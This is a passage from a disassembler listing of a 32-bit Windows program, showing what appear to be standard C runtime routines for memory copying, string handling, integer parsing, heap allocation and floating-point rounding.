		jmp	ds:off_413BD0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_413AE8
		dd offset loc_413B08
		dd offset loc_413B30
; ---------------------------------------------------------------------------


loc_413AE8:				; DATA XREF: sub_4138F0+1ECo
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_413AB0
		std
		rep movsd
		cld
		jmp	ds:off_413BD0[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_413B08:				; DATA XREF: sub_4138F0+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_413AB0
		std
		rep movsd
		cld
		jmp	ds:off_413BD0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_413B30:				; DATA XREF: sub_4138F0+1F4o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_413AB0
		std
		rep movsd
		cld
		jmp	ds:off_413BD0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		test	[ebx], bh
		inc	ecx
		add	[ebx+edi+3B940041h], cl
		inc	ecx
		add	[ebx+edi+3BA40041h], bl
		inc	ecx
		add	[ebx+edi+3BB40041h], ch
		inc	ecx


loc_413B7F:				; DATA XREF: sub_4138F0+1C2r
		add	bh, al
		cmp	eax, [ecx+0]
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_413BC7:				; CODE XREF: sub_4138F0+1C2j
		jmp	ds:off_413BD0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_413BD0	dd offset loc_413BE0	; DATA XREF: sub_4138F0+1B7r
					; sub_4138F0:loc_413AD4r ...
		dd offset loc_413BE8
		dd offset loc_413BF8
		dd offset loc_413C0C
; ---------------------------------------------------------------------------


loc_413BE0:				; CODE XREF: sub_4138F0+1B7j
					; sub_4138F0:loc_413AD4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_413BE8:				; CODE XREF: sub_4138F0+1B7j
					; sub_4138F0:loc_413AD4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_413BF8:				; CODE XREF: sub_4138F0+1B7j
					; sub_4138F0:loc_413AD4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_413C0C:				; CODE XREF: sub_4138F0+1B7j
					; sub_4138F0:loc_413AD4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4138F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_413C30	proc near		; CODE XREF: sub_4010B2+FCp
					; sub_4010B2+118p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_413C7C


loc_413C40:				; CODE XREF: sub_413C30+3Cj
					; sub_413C30+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_413C74
		or	al, al
		jz	short loc_413C70
		cmp	ah, [ecx+1]
		jnz	short loc_413C74
		or	ah, ah
		jz	short loc_413C70
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_413C74
		or	al, al
		jz	short loc_413C70
		cmp	ah, [ecx+3]
		jnz	short loc_413C74
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_413C40
		mov	edi, edi


loc_413C70:				; CODE XREF: sub_413C30+18j
					; sub_413C30+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_413C74:				; CODE XREF: sub_413C30+14j
					; sub_413C30+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_413C7C:				; CODE XREF: sub_413C30+Ej
		test	edx, 1
		jz	short loc_413C98
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_413C74
		inc	ecx
		or	al, al
		jz	short loc_413C70
		test	edx, 2
		jz	short loc_413C40


loc_413C98:				; CODE XREF: sub_413C30+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_413C74
		or	al, al
		jz	short loc_413C70
		cmp	ah, [ecx+1]
		jnz	short loc_413C74
		or	ah, ah
		jz	short loc_413C70
		add	ecx, 2
		jmp	short loc_413C40
sub_413C30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_413CC0	proc near		; CODE XREF: sub_4010B2+19Ep
					; sub_4018CB+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_413CD9
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_413CD9:				; CODE XREF: sub_413CC0+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_413CC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_413CF4	proc near		; CODE XREF: sub_413D7F+4p
					; sub_41BFB2+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_413CFC:				; CODE XREF: sub_413CF4+34j
		cmp	dword_4379BC, 1
		jle	short loc_413D14
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_413D23
; ---------------------------------------------------------------------------


loc_413D14:				; CODE XREF: sub_413CF4+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_4377B0
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_413D23:				; CODE XREF: sub_413CF4+1Ej
		test	eax, eax
		jz	short loc_413D2A
		inc	edi
		jmp	short loc_413CFC
; ---------------------------------------------------------------------------


loc_413D2A:				; CODE XREF: sub_413CF4+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_413D3A
		cmp	esi, 2Bh
		jnz	short loc_413D3E


loc_413D3A:				; CODE XREF: sub_413CF4+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_413D3E:				; CODE XREF: sub_413CF4+44j
		xor	ebx, ebx


loc_413D40:				; CODE XREF: sub_413CF4+7Bj
		cmp	dword_4379BC, 1
		jle	short loc_413D55
		push	4
		push	esi
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_413D60
; ---------------------------------------------------------------------------


loc_413D55:				; CODE XREF: sub_413CF4+53j
		mov	eax, off_4377B0
		mov	al, [eax+esi*2]
		and	eax, 4


loc_413D60:				; CODE XREF: sub_413CF4+5Fj
		test	eax, eax
		jz	short loc_413D71
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_413D40
; ---------------------------------------------------------------------------


loc_413D71:				; CODE XREF: sub_413CF4+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_413D7A
		neg	eax


loc_413D7A:				; CODE XREF: sub_413CF4+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_413CF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_413D7F	proc near		; CODE XREF: sub_4013E9+12p
					; sub_4013E9+1Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_413CF4
		pop	ecx
		retn
sub_413D7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413D8A	proc near		; CODE XREF: sub_401447+319p
					; sub_401BD7+460p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_416065
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_413DC9
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_413DD6
; ---------------------------------------------------------------------------


loc_413DC9:				; CODE XREF: sub_413D8A+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_415F50
		pop	ecx
		pop	ecx


loc_413DD6:				; CODE XREF: sub_413D8A+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_413D8A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_413DE0	proc near		; CODE XREF: sub_401BD7+2D8p
					; sub_401BD7+2F8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_413E5A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_413E47


loc_413DF8:				; CODE XREF: sub_413DE0+52j
					; sub_413DE0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_413E1A
		test	al, al
		jz	short loc_413E14


loc_413E09:				; CODE XREF: sub_413DE0+32j
		mov	al, [esi]
		inc	esi


loc_413E0C:				; CODE XREF: sub_413DE0+3Fj
		cmp	al, dl
		jz	short loc_413E1A
		test	al, al
		jnz	short loc_413E09


loc_413E14:				; CODE XREF: sub_413DE0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_413E1A:				; CODE XREF: sub_413DE0+23j
					; sub_413DE0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_413E0C
		lea	edi, [esi-1]


loc_413E24:				; CODE XREF: sub_413DE0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_413E53
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_413DF8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_413E53
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_413E24
		jmp	short loc_413DF8
; ---------------------------------------------------------------------------


loc_413E47:				; CODE XREF: sub_413DE0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_415BA6
; ---------------------------------------------------------------------------


loc_413E53:				; CODE XREF: sub_413DE0+49j
					; sub_413DE0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_413E5A:				; CODE XREF: sub_413DE0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_413DE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_413E60	proc near		; CODE XREF: sub_40211B+8p
					; .text:0040354Dp ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_413E80


loc_413E6C:				; CODE XREF: sub_413E60+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_413E6C


loc_413E80:				; CODE XREF: sub_413E60+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_413E60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_413E90	proc near		; CODE XREF: sub_4026C1+7p
					; sub_402CEB+124p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_413EB0


loc_413E9C:				; CODE XREF: sub_413E90+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_413EE3
		test	ecx, 3
		jnz	short loc_413E9C
		add	eax, 0


loc_413EB0:				; CODE XREF: sub_413E90+Aj
					; sub_413E90+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_413EB0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_413F01
		test	ah, ah
		jz	short loc_413EF7
		test	eax, 0FF0000h
		jz	short loc_413EED
		test	eax, 0FF000000h
		jz	short loc_413EE3
		jmp	short loc_413EB0
; ---------------------------------------------------------------------------


loc_413EE3:				; CODE XREF: sub_413E90+11j
					; sub_413E90+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_413EED:				; CODE XREF: sub_413E90+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_413EF7:				; CODE XREF: sub_413E90+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_413F01:				; CODE XREF: sub_413E90+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_413E90	endp


; =============== S U B	R O U T	I N E =======================================



sub_413F0B	proc near		; CODE XREF: sub_4024DF+Ap
					; sub_402519+12p ...

arg_0		= dword	ptr  4

		push	dword_742284
		push	[esp+4+arg_0]
		call	sub_413F1D
		pop	ecx
		pop	ecx
		retn
sub_413F0B	endp


; =============== S U B	R O U T	I N E =======================================



sub_413F1D	proc near		; CODE XREF: sub_413F0B+Ap
					; sub_414905+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_413F46


loc_413F24:				; CODE XREF: sub_413F1D+27j
		push	[esp+arg_0]
		call	sub_413F49
		test	eax, eax
		pop	ecx
		jnz	short locret_413F48
		cmp	[esp+arg_4], eax
		jz	short locret_413F48
		push	[esp+arg_0]
		call	sub_4168E4
		test	eax, eax
		pop	ecx
		jnz	short loc_413F24


loc_413F46:				; CODE XREF: sub_413F1D+5j
		xor	eax, eax

locret_413F48:				; CODE XREF: sub_413F1D+13j
					; sub_413F1D+19j
		retn
sub_413F1D	endp


; =============== S U B	R O U T	I N E =======================================



sub_413F49	proc near		; CODE XREF: sub_413F1D+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, dword_4379CC
		ja	short loc_413F61
		push	esi
		call	sub_416CCF
		test	eax, eax
		pop	ecx
		jnz	short loc_413F7D


loc_413F61:				; CODE XREF: sub_413F49+Bj
		test	esi, esi
		jnz	short loc_413F68
		push	1
		pop	esi


loc_413F68:				; CODE XREF: sub_413F49+1Aj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_743880
		call	ds:dword_41F144	; RtlAllocateHeap


loc_413F7D:				; CODE XREF: sub_413F49+16j
		pop	esi
		retn
sub_413F49	endp


; =============== S U B	R O U T	I N E =======================================



sub_413F7F	proc near		; CODE XREF: sub_40256E+Ap
					; sub_402587+7Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_413FAC
		push	esi
		call	sub_416979
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_413F9E
		push	eax
		call	sub_4169A4
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413F9E:				; CODE XREF: sub_413F7F+13j
		push	0
		push	dword_743880
		call	ds:dword_41F148	; RtlFreeHeap


loc_413FAC:				; CODE XREF: sub_413F7F+7j
		pop	esi
		retn
sub_413F7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_413FAE(double)

sub_413FAE	proc near		; CODE XREF: sub_402C9F+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_437770
		call	sub_417CA2
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_414034
		call	sub_417B6A
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_414017
		cmp	eax, 2
		jle	short loc_414009
		cmp	eax, 3
		jnz	short loc_414017
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_41747A
		add	esp, 10h
		jmp	short loc_414079
; ---------------------------------------------------------------------------


loc_414009:				; CODE XREF: sub_413FAE+3Fj
		push	esi
		push	ebx
		call	sub_417CA2
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_414079
; ---------------------------------------------------------------------------


loc_414017:				; CODE XREF: sub_413FAE+3Aj
					; sub_413FAE+44j
		fld	[ebp+arg_0]
		fadd	ds:dbl_41F668
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_414071
; ---------------------------------------------------------------------------


loc_414034:				; CODE XREF: sub_413FAE+2Fj
		call	sub_417B2F
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_414057


loc_414049:				; CODE XREF: sub_413FAE+ACj
		push	esi
		push	ebx
		call	sub_417CA2
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_414079
; ---------------------------------------------------------------------------


loc_414057:				; CODE XREF: sub_413FAE+99j
		test	bl, 20h
		jnz	short loc_414049
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_414071:				; CODE XREF: sub_413FAE+84j
		call	sub_4174CD
		add	esp, 1Ch


loc_414079:				; CODE XREF: sub_413FAE+59j
					; sub_413FAE+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_413FAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41407D	proc near		; CODE XREF: sub_415C5C+9p
					; sub_417D6B+21p
					; DATA XREF: ...
		call	sub_414095
		call	sub_417D6B
		mov	dword_742208, eax
		call	sub_417D1B
		fnclex
		retn
sub_41407D	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_261. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_414095	proc near		; CODE XREF: sub_41407Dp
		mov	eax, offset sub_418159
		mov	off_437AEC, offset sub_417DEE
		mov	off_437AE8, eax
		mov	off_437AF0, offset sub_417E54
		mov	off_437AF4, offset sub_417D94
		mov	off_437AF8, offset sub_417E3C
		mov	off_437AFC, eax
		retn
sub_414095	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4140D0	proc near		; CODE XREF: sub_402C9F+1Bp
					; sub_402C9F+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_4140D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4140F7(double)

sub_4140F7	proc near		; CODE XREF: sub_402CEB+82p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_437788
		call	sub_417CA2
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41417D
		call	sub_417B6A
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_414160
		cmp	eax, 2
		jle	short loc_414152
		cmp	eax, 3
		jnz	short loc_414160
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_41747A
		add	esp, 10h
		jmp	short loc_4141C2
; ---------------------------------------------------------------------------


loc_414152:				; CODE XREF: sub_4140F7+3Fj
		push	esi
		push	ebx
		call	sub_417CA2
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_4141C2
; ---------------------------------------------------------------------------


loc_414160:				; CODE XREF: sub_4140F7+3Aj
					; sub_4140F7+44j
		fld	[ebp+arg_0]
		fadd	ds:dbl_41F668
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_4141BA
; ---------------------------------------------------------------------------


loc_41417D:				; CODE XREF: sub_4140F7+2Fj
		call	sub_417B2F
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_4141A0


loc_414192:				; CODE XREF: sub_4140F7+ACj
		push	esi
		push	ebx
		call	sub_417CA2
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_4141C2
; ---------------------------------------------------------------------------


loc_4141A0:				; CODE XREF: sub_4140F7+99j
		test	bl, 20h
		jnz	short loc_414192
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_4141BA:				; CODE XREF: sub_4140F7+84j
		call	sub_4174CD
		add	esp, 1Ch


loc_4141C2:				; CODE XREF: sub_4140F7+59j
					; sub_4140F7+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_4140F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4141C6	proc near		; CODE XREF: sub_4185CA+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_4141C6	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_4141FA	proc near		; CODE XREF: sub_41877B+199p
					; sub_41893F+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_4141FA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_414201	proc near		; CODE XREF: sub_41877B+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_414201	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414208	proc near		; CODE XREF: sub_4143BA+5Cp
					; sub_4185CA:loc_4185FBp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_414230
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41E42E


loc_414230:				; DATA XREF: sub_414208+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_414208	endp

; ---------------------------------------------------------------------------


loc_414257:				; CODE XREF: .text:0041E624j
					; .text:0041E641j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_4181CF
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41428D	proc near		; CODE XREF: sub_418645+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_4142E1
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_4189D0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41428D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4142E1	proc near		; DATA XREF: sub_41428D+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4181CF
		add	esp, 20h
		pop	ebp
		retn
sub_4142E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414306	proc near		; CODE XREF: sub_418411+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
